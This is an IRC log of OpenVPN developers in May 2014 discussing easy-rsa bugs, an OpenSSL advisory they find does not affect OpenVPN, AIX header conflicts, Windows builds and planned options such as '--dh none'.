timeout: 240 seconds] 09:17 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:11 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 11:13 < debbie10t> As I dont know much about android or polrssl could somebody who does please take a quick look at this pst, just incase it is something important (thanks): https://forums.openvpn.net/topic15820.html 11:13 <@vpnHelper> Title: OpenVPN Support Forum Nexus 5 Certificate verification failed : OpenVPN Connect (Android) (at forums.openvpn.net) 11:14 <@plaisthos> !as 11:14 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 11:14 <@plaisthos> hm 11:14 <@plaisthos> not what I expected 11:14 <@plaisthos> but OpenVPN Connect is basically closed source 11:51 <@dazo> plaisthos: I'd say "case closed", based on this feedback ;-) 11:51 <@dazo> "I tried "OpenVPN for Android" instead (https://play.google.com/store/apps/deta ... kt.openvpn) and that appears to work fine. Although I haven't done much testing with it." 13:51 -!- dazo is now known as dazo_afk 14:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:50 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 14:50 -!- mattock_afk is now known as mattock 15:03 < debbie10t> sorry .. forgot about AS 15:10 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 17:31 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Wed May 21 2014 02:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:53 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:53 -!- mattock_afk is now known as mattock 03:36 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 03:37 -!- dazo_afk is now known as dazo 06:50 <@mattock> cron2: redirecting the FAQ now, try http://openvpn.net/index.php/open-source/faq/community-software-general/289-how-can-i-build-a-binary-rpm-package-for-my-specific-linux-platform.html 06:50 <@vpnHelper> Title: 289-how-can-i-build-a-binary-rpm-package-for-my-specific-linux-platform – OpenVPN Community (at openvpn.net) 06:50 <@mattock> going through the articles manually so it takes some time 06:50 <@cron2> cool, thanks a lot. Then we can work on updating the content. 07:18 <@mattock> done 07:19 <@mattock> I'll fix a few articles while I'm at it 12:38 -!- dazo is now known as dazo_afk 14:52 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 17:38 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 17:38 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 265 seconds] 17:38 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:03 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 258 seconds] 22:08 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 256 seconds] 22:14 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Thu May 22 2014 00:23 <@vpnHelper> RSS Update - tickets: #406: Does BEaudify Works On Baby Skin <https://community.openvpn.net/openvpn/ticket/406> || #407: Mostly Strict Skin Actions Taken by Beaudify <https://community.openvpn.net/openvpn/ticket/407> 02:41 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:42 -!- mattock_afk is now known as mattock 03:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:15 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 04:22 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 04:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:53 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 04:55 < debbie10t> Hi - I am trying to use easy-rsa 3 but there appears to be some rather glaring errors .. such as no clean-all - I wanted to join #easy-rsa but it is invite only - does anybody here have access to #easy-rsa (sorry to bother you with this) 05:03 < debbie10t> forget it - sorted it out 05:03 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] 06:15 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 06:24 < debbie10t> I just dld easyrsa3-beta2 from http://pekster.sdf.org - I built my PKI (test) and used "build-server-full serv nopass" (which works) but "build-client-full client01 nopass" fails completely and without warning or error message - Easy-RSA3-RC1 worked fine (all windows versions) - I just thought pekster might like to know 06:24 <@vpnHelper> Title: pekster's SDF homepage (at pekster.sdf.org) 07:09 < debbie10t> Further to this: "build-server-full server nopass" does NOT generate a nsCertType designation of Server - using ns-cert-type server (client.conf) fails with the error found here: https://forums.openvpn.net/topic15909.html 07:09 <@vpnHelper> Title: OpenVPN Support Forum Cert Errors Openvpn 2.3.4 : Easy-RSA (at forums.openvpn.net) 07:10 < debbie10t> Just created a test PKI with EasyRSA3-RC1 and recreated exact same problem 07:14 <@plaisthos> debbie10t: better use #openvpn for topics like that 07:15 < debbie10t> Unfortunately - I am still banned from #openvpn .. but I thought pekster might be interested .. so as he is here ... 07:16 < debbie10t> but i agree with you and I apologies 07:26 < debbie10t> ecrist: Perhaps you will reconsider my request to lift my ban on #openvpn soon ? 07:27 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:27 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 07:27 -!- mattock_afk is now known as mattock 07:37 <@ecrist> debbie10t: I'll lift your ban so long as you can avoid pissing people off. 07:42 <+krzee> (which is why hes asking to have it removed, pissing off devs with non dev questions) 07:42 <+krzee> ((lol)) 07:42 <+krzee> meta-lol 07:42 <@ecrist> well, it's been lifted 07:59 < debbie10t> Thank you 08:10 <@mattock> it seems we were "phasing out" James' SVN repository as early as July 2010 08:10 <@mattock> according to IRC meeting minutes 08:10 <@mattock> it only took about 3,5 years to get there, lol :D 08:30 <@mattock> added a FAQ item: https://community.openvpn.net/openvpn/wiki/openvpn-gui-reinstall-to-different-path-breaks-it 08:30 <@vpnHelper> Title: openvpn-gui-reinstall-to-different-path-breaks-it – OpenVPN Community (at community.openvpn.net) 10:34 -!- mattock is now known as mattock_afk 10:45 -!- mattock_afk is now known as mattock 11:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:48 -!- mattock is now known as mattock_afk 12:00 -!- mattock_afk is now known as mattock 12:15 -!- moh [~mort@darwin.bork.org] has joined #openvpn-devel 12:17 -!- moh [~mort@darwin.bork.org] has left #openvpn-devel [] 14:12 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 17:12 <@cron2> uh 17:12 <@cron2> syzzer: this new OpenSSL vulnerability - which versions are affected by it? aka: do we need to roll new windows installers *again*? 18:11 < debbie10t> does this new vulnerability have a name ? 18:26 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has quit [Quit: Nettalk6 - www.ntalk.de] 20:58 -!- Netsplit *.net <-> *.split quits: n13l 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Fri May 23 2014 01:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:23 <@syzzer> cron2, debbie10t: just took a better look, OpenVPN is not affected 02:23 <@d12fk> syzzer: what is this about 02:24 <@syzzer> The do_ssl3_write function in s3_pkt.c in OpenSSL 1.x through 1.0.1g, when SSL_MODE_RELEASE_BUFFERS is enabled 02:24 <@syzzer> but I was too lazy to rebase the SSL_MODE_RELEASE_BUFFERS patch upto now :p 02:25 <@cron2> ah, this one. you need threads anyway to have a problem, as far as I understand 02:31 <@d12fk> yup 02:31 * d12fk is a bit sensitive about ossl bugs as of recent 04:05 -!- dazo_afk is now known as dazo 05:26 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 05:43 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 05:43 -!- mattock_afk is now known as mattock 10:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:40 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:42 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:13 -!- dazo is now known as dazo_afk 15:50 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] 16:03 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 16:04 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+o andj] by ChanServ 16:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 16:17 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:18 -!- mattock is now known as mattock_afk --- Day changed Sat May 24 2014 03:10 -!- mattock_afk is now known as mattock 03:45 -!- mattock is now known as mattock_afk 10:35 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 276 seconds] 10:54 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 11:39 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 11:46 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] 11:46 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has joined #openvpn-devel 15:29 < debbie10t> Sorry to bother you all but i think this question belongs here and probably then to the wiki/wishlist or the bin! 15:29 < debbie10t> This is specific to Windows DNS and pushed DNS settings 15:30 < debbie10t> I was thinking that OpenVPN could add a parameter to the --redirect-gateway directive something like the def1 option but for DNS 15:30 < debbie10t> thus it would erase the current DNS and restore that DNS on disconnection from the VPN 15:31 < debbie10t> in more or less the same manner that def1 overrides the default gateway and then restores it 15:32 < debbie10t> so something like 'push "redirect-gateway def1 bypass-dhcp delete-dns"' 15:33 < debbie10t> that way the pushed DNS address becomes the only DNS available to the client 15:34 < debbie10t> obviously a 'push "dhcp-option DNS x.x.x.x"' would be required 15:35 < debbie10t> just a thought .. as I have been fighting with windows dns - ie: netsh int ip del dns eth0 ALL 15:36 < debbie10t> Now that I think it thru - its probaly simpler to add another pushable option .. but it is not like I bug you with stuff like this often 15:38 < debbie10t> BTW: netsh int ip del dns eth0 ALL - does not wipe out a DHCP designated DNS server .. so I am not sure this is even possible .. hence: the bin! 15:39 <@pekster> This isn't something openvpn will support. Windows tracks DNS _per_ interface, unlike every other OS out there. If you want that, write a script to handle such things yourself 15:41 < debbie10t> ok pekster .. thanks for the feedback : it is a shame windows is so ##### 18:49 -!- debbie10t [~ma1com10t@host-2-99-68-141.as13285.net] has left #openvpn-devel [] --- Day changed Sun May 25 2014 01:35 -!- mattock_afk is now known as mattock 02:08 -!- mattock is now known as mattock_afk 09:05 -!- mattock_afk is now known as mattock 09:49 <@cron2> ecrist: I think the openvpn-devel port could use an update... it seems to be stuck at 201326_1 which smells like "over a year old" and there is lots of nice new goodness in git master :-) 15:03 <@vpnHelper> RSS Update - gitrepo: Use SSL_MODE_RELEASE_BUFFERS if available <https://github.com/OpenVPN/openvpn/commit/a6c573d22566a1dfc44ab060687192a4debc2e03> 15:05 <@cron2> syzzer: for your cleanup patches, I'd actually like a word from James what the intention of the wrapper functions and the empty cipher_ok() function was before throwing them out 16:03 -!- mattock is now known as mattock_afk 16:59 <@syzzer> cron2: sure. I just dug into the git history, there used to be other implementations, with these in the #else part of #if SSLEAY_VERSION_NUMBER < 0x00906000 ... 17:00 <@syzzer> see e.g. https://github.com/OpenVPN/openvpn/blob/23ee3563de28820919fe83f8f5b7289dc4ed42ae/crypto.h 17:00 <@vpnHelper> Title: openvpn/crypto.h at 23ee3563de28820919fe83f8f5b7289dc4ed42ae · OpenVPN/openvpn · GitHub (at github.com) 17:03 <@syzzer> ah, here we go, check commit 435b02dc :) 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Mon May 26 2014 01:33 -!- mattock_afk is now known as mattock 01:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:14 <@cron2> syzzer: I see. Thanks for digging this up - so this is actually "leftover from cleanup, not done completely" 02:31 <@syzzer> cron2: yup :) 03:35 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 03:45 -!- dazo_afk is now known as dazo 07:34 -!- dazo is now known as dazo_afk 08:15 <@cron2> syzzer: shouldn't just cherrypicking the patches work? 08:15 <@cron2> or has the openssl code changed that much? 09:01 <@syzzer> one of the two can be cherry picked, the other one gives merge conflicts 09:02 <@syzzer> so I fixed the conflicts and send them both, as I had to send something anyway 09:04 <@cron2> ic 09:05 <@cron2> so, where's ecrist and d12fk? Need to distribute a few *poke*s 09:34 -!- dazo_afk is now known as dazo 10:04 <@ecrist> cron2: pong 10:04 <@ecrist> port update is on my list for this week 10:04 <@cron2> ecrist: cool :-), so no need to poke, then 10:04 <@ecrist> I've been procrastinating a bit of late as FreeBSD has significant changes to the port systems 11:29 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 13:01 <@vpnHelper> RSS Update - gitrepo: Merge get_default_gateway() implementation for all 4+1 BSD variants. <https://github.com/OpenVPN/openvpn/commit/cab6305be749930eae9c4a1348fb90c4c515d8d7> || Remove unneeded defines (were needed for pre-0.9.7 OpenSSL). <https://github.com/OpenVPN/openvpn/commit/0c5632510ce14a25a31b5065019f64ca9724a294> || Remove unneeded wrapper functions in crypto_openssl.c <https://github.com/OpenVPN/openvpn/commit/9fbd0568736 13:45 -!- mattock is now known as mattock_afk 13:53 <@vpnHelper> RSS Update - tickets: #408: Assertion failed on clients with --tcp-nodelay <https://community.openvpn.net/openvpn/ticket/408> 14:20 <@pekster> Gah, stupid trac didn't save my description to that bug when I went to attach a preliminary patch :( 14:21 <@pekster> I fixed the assert in the patch there, but we should still either fix the manpage to explain this is a server-only option, or stop it from causing a fatal exit during option verification 14:22 <@pekster> Either is fine with me; don't know if anyone else had opinions 15:13 -!- dazo is now known as dazo_afk 15:42 * cron2 points to plaisthos :-) 15:45 <@cron2> (but that might have been a bit preliminary, this isn't actually related to what I thought it is - non-blocking socket handling - so I agree, it should be ignored or warn-ignored, not ASSERT() 15:56 <@pekster> Right. I don't really mind if it bombs out (besides that the manpage suggests it shouldn't) because it's disallowed anyway. Users might expect that it sends tcp packets "right away" in client mode, so outright ignoring it seems wrong 15:58 <@cron2> nah, let the client warn/error, and document that "if you want this on the client, use socket-option" 15:58 <@cron2> stupid option anyway 15:59 <@pekster> Sure. Erroring out is easier since that's what the code already does (when you rip out the ASSERT) 15:59 <@cron2> that's why :) 15:59 * cron2 is too lazy to really clean up the weird options we have, like "rip them out" 16:00 <@cron2> I'll merge that wednesday, tomorrow is too busy 16:00 <@pekster> And for items like this, they've got bits of code referring to them all over the place 16:00 <@cron2> anyway, need to go sleep now - good night 16:00 <@pekster> I'll get a proper version sent to the ML by tomorrow evening (doing some re-structuring of my mail locally, and I hate the web client.) I'll see about a quick cleanup to the manpage too 16:00 <@pekster> Yup, thanks for the comments 18:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 19:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue May 27 2014 01:06 -!- mattock_afk is now known as mattock 02:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:15 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:15 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:50 <@cron2> sooo... where is d12fk hiding? :-) 04:02 -!- dazo_afk is now known as dazo 04:39 <@cron2> we have funny code in our program 04:39 <@cron2> init.c has 04:39 <@cron2> ALLOC_OBJ_CLEAR_GC (c->c1.route_ipv6_list, struct route_ipv6_list, &c->gc); 04:40 <@cron2> ... which seems to work nicely... except "struct route_ipv6_list" not being defined in init.c, as it does not include route.h... 04:41 <@cron2> mmmh 04:41 * cron2 stands corrected, we do include it (init.c->init.h->openvpn.h->route.h). So why is this *censored* AIX compiler claiming route_ipv6_list isn't defined? 04:44 <@cron2> oh fuuu... #ifdef ROUTE_H and <net/route.h> on AIX defines that, so our route.h is not compiled-in... 04:45 <@syzzer> awesome 04:45 <@syzzer> gotta love the preprocessor ;) 04:51 <@cron2> gotta love the AIX guys... on NetBSD (just as an example) net/route.h is #ifdef'ed with _NET_ROUTE_H not with ROUTE_H 04:51 <@cron2> but the AIX guys don't really understand netiquette like "user namespace pollution" and such 04:54 <@cron2> we don't even include <net/route.h> on aix, it gets pulled in by <net/if.h> which we include "because we can"... 04:54 <@cron2> wtf... 04:54 <@cron2> <net/if.h> has 04:54 <@cron2> #include "net/route.h" 04:54 <@cron2> note the quotes... 06:08 <@plaisthos> :) 06:09 <@plaisthos> AIX, we are older than your stupid standards 06:15 <@vpnHelper> RSS Update - tickets: #409: OpenVPN Connect not working for certain server configuration (Android and iOS) <https://community.openvpn.net/openvpn/ticket/409> 07:10 <@cron2> 50% of tun.c is #ifdef WIN32... 07:20 <@d12fk> cron2: whats up? 07:23 <@cron2> d12fk: just returning to our regular poking regarding the interactive service and IV_GUI_VER :-) 07:23 <@d12fk> cron2: ack =P 07:23 <@cron2> people keep asking me when we'll release 2.4 "with the windows permission thingie fixed"... 07:24 <@cron2> (there is other stuff that I need to implement before then, though...) 07:25 <@d12fk> IV_GUI_VEr will be ready before the service 07:25 <@d12fk> but the service will need some rounds until it#s good enough i suppose 07:27 <@cron2> let's start :) 07:29 <@d12fk> yeah, keep poking me on a regular basis please 07:29 * cron2 adds a cron-job 08:07 <@cron2> oh fnord 08:08 <@cron2> AIX' "ifconfig tap4 create" needs environment variables to be set to actually work 09:56 <@syzzer> did anyone already look at the 2.4 windows builds? plaisthos, I recall you were trying to build using MSVC, did you succeed? 09:57 <@syzzer> I also have some patches I need to polish and submit for 2.4 (AES-GCM, for one) 10:11 <@ecrist> cron2: there is a pending PR for openvpn-devel on freebsd 11:00 <@ecrist> cron2: http://www.freebsd.org/cgi/query-pr.cgi?pr=190312 11:00 <@vpnHelper> Title: ports/190312: security/openvpn-devel: Update to current snapshot (at www.freebsd.org) 12:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:31 <@vpnHelper> RSS Update - tickets: #89: CFB and OFB broken: Assertion failed at crypto.c:162 <https://community.openvpn.net/openvpn/ticket/89> 15:07 <@syzzer> ^ Yeah, I have a fix for that ready. Just feeling a bit unhappy about the code surrounding the fix... 15:08 <@syzzer> ... and not sure whether I believe adding CFB and OFB makes sense ... 15:39 <@cron2> ecrist: cool :) 15:40 <@cron2> syzzer: as far as 2.4 windows goes: mattock is building snapshots, and as soon as he fixed his build environment to stop packaging-2.4-then-build-2.3, it actually shows the errors :-) 15:40 <@cron2> *now* we just need to find a volunteer to understand the code that explodes 15:43 <@mattock> cron2: hmm, need to check if that's what happening 15:44 <@cron2> mattock: well, since you are getting error messages now, it's no longer happening 15:45 <@mattock> so you got the emails 15:45 <@cron2> yep 15:45 <@mattock> so do you have the errors you need? 15:45 <@mattock> or in other words: do _I_ need to do something? :P 15:45 <@cron2> yes, no :-) 15:45 <@cron2> unless you want to be the volunteer that understands that code 15:46 <@mattock> ok, good, I don't want to be that volunteer :D 15:46 <@mattock> uh, so late 15:46 <@mattock> need to split 15:56 -!- mattock is now known as mattock_afk 16:04 -!- dazo is now known as dazo_afk 19:47 -!- grohl [~none@2.80.95.16] has joined #openvpn-devel 20:03 -!- grohl [~none@2.80.95.16] has quit [Ping timeout: 240 seconds] 22:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 22:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 245 seconds] 22:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:58 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed May 28 2014 01:26 -!- mattock_afk is now known as mattock 01:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:00 <@cron2> *yawn* 02:01 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:01 -!- mattock_afk is now known as mattock 02:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:16 -!- dazo_afk is now known as dazo 06:18 <@cron2> someone here who understands multipath-tcp? 06:41 <@plaisthos> cron2: yeah 07:02 <@plaisthos> cron2: what do you want to know? 10:10 <@cron2> plaisthos: "how does it work", from an application PoV, as in "what would be needed to teach openvpn to use it"? 10:43 <@cron2> (I don't really want to implement it :-) but I want to understand how it is used from within programs) 10:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:41 -!- tastycactus [~aaron@ip68-106-248-219.ph.ph.cox.net] has joined #openvpn-devel 12:44 -!- tastycactus [~aaron@ip68-106-248-219.ph.ph.cox.net] has left #openvpn-devel [] 13:59 -!- dazo is now known as dazo_afk 14:46 <+krzee> from manual: " OpenVPN is tightly bound to the OpenSSL library, and derives much of its crypto capabilities from it." 14:46 <+krzee> poor polarssl 15:13 -!- mattock is now known as mattock_afk 15:35 <@cron2> syzzer: so why doesn't it blow up in my face when using ctx instead of ctx->ctx? 15:36 <@cron2> I *did* test this, and so did buildbot 15:44 <@vpnHelper> RSS Update - gitrepo: Fix merge error in a6c573d, the ssl ctx is now abstracted. <https://github.com/OpenVPN/openvpn/commit/efb304cf4904cbf5d926ab7a6ecde101472fa023> 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Thu May 29 2014 01:23 -!- mattock_afk is now known as mattock 01:27 <@syzzer> cron2: it changes a single bit, "somewhere" in the heap. Probably a not-so-important one... 01:28 <@syzzer> I did test it too, using the t_client you supplied me once 01:30 <@syzzer> but yeah, it worries me too this can slip through without any automated build or test complaining... 02:12 <@cron2> -Werror 03:15 <@syzzer> yes, but only together with --enable-strict, and that requires a lot of fixes first 03:18 <@syzzer> oh, wow, you're right. It's caught by the compiler without --enable-strict too. 03:25 <@syzzer> I'll add a --enable-werror to configure, and enable that on my build bots 07:12 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 252 seconds] 09:30 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 09:31 < n13l> openvpn does not use regular DTLS1 (handshakes) in case of UDP layer ? 09:33 <@cron2> no 09:36 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 11:08 -!- tastycactus [~aaron@ip68-106-248-219.ph.ph.cox.net] has joined #openvpn-devel 11:18 -!- tastycactus [~aaron@ip68-106-248-219.ph.ph.cox.net] has left #openvpn-devel [] 11:38 <@vpnHelper> RSS Update - tickets: #410: Have to specify "dh" file when using elliptic curve ecdh <https://community.openvpn.net/openvpn/ticket/410> 11:55 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:16 <@vpnHelper> RSS Update - tickets: #411: Does not actually randomize DNS results <https://community.openvpn.net/openvpn/ticket/411> 12:25 <@plaisthos> syzzer: 410 is for you 12:25 * cron2 already cc'ed him :-) 13:13 <@syzzer> ah, yeah, replied to that one 13:15 * syzzer was trying to make his open ticket list a bit shorter this week... 13:41 <@vpnHelper> RSS Update - tickets: #412: persist-tun and redirect-gateway def1 don't work together when multiple remotes are defined <https://community.openvpn.net/openvpn/ticket/412> 14:09 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 14:09 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 15:10 -!- mattock is now known as mattock_afk 22:18 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Ping timeout: 272 seconds] 22:23 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:34 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel --- Day changed Fri May 30 2014 00:28 -!- mattock_afk is now known as mattock 01:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 07:44 <+krzee> im looking at ticket 410 and i agree with the user 07:45 <+krzee> it feels like theres got to be a way to not require a dh key when the user does not want dh 07:45 <+krzee> even if its another option that simply overrides the need for --dh 07:45 <+krzee> --nodh or something? 07:50 <@cron2> --dh none, as the ticket says 07:50 <@cron2> we're not adding new options 07:52 <+krzee> oh ya if --dh none works then his complaint is null 07:53 <@cron2> it doesn't, as the ticket says 07:53 <+krzee> i wonder if !DH in tls-cipher could automatically trigger --dh none if --dh is not in there 07:53 <@cron2> just read to the end :) 07:53 <+krzee> i did but i thought he had some issue with --dh none since he still calls it a bug 07:54 <+krzee> like it didnt stop asking for the key or something 07:54 <@cron2> --dh none is not implemented yet 07:54 <+krzee> oh i see 07:54 <@cron2> please do actually *read* the ticket :-) - syzzer has taken it to "implement something" 07:55 <+krzee> i did actually read the ticket. --dh none was only brought up in the end and not mentioned that it would be something new to implement 07:57 <+krzee> but maybe its really as simple as if tls-cipher !DH is used (like in syzzer's suggestion) then disable the check for --dh ? 07:58 <@cron2> nothing is "simple" if openssl cipher specs are involved 07:58 <+krzee> oh ok 07:59 <+krzee> i'll pipe down then ;] 07:59 <@cron2> syzzer will come up with something nice and short and bugfree :-) 08:38 <@syzzer> ah, good, discussion! 08:41 <@syzzer> I think --dh none is indeed the way to go, or perhaps --dh disable 08:41 <@plaisthos> 2 ~. 08:41 <@syzzer> because that's more like what you want: disable DH 08:42 <@syzzer> plaisthos: what's that? 08:43 <@plaisthos> syzzer: stale ssh session and failure of me to do enter + ~ . 10:02 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 258 seconds] 11:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 12:32 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 15:20 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 15:21 -!- mattock is now known as mattock_afk 15:21 -!- siruf [~siruf@unaffiliated/motley] has quit [Write error: Broken pipe] 15:21 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Remote host closed the connection] 15:21 -!- siruf_ is now known as siruf 15:21 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:21 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:57 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 20:58 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:25 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 22:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 22:59 -!- n13l [~Daniel@aaa.anect.cz] has quit [Write error: Broken pipe] --- Day changed Sat May 31 2014 01:34 -!- mattock_afk is now known as mattock 03:40 -!- mattock is now known as mattock_afk 10:07 -!- pekster 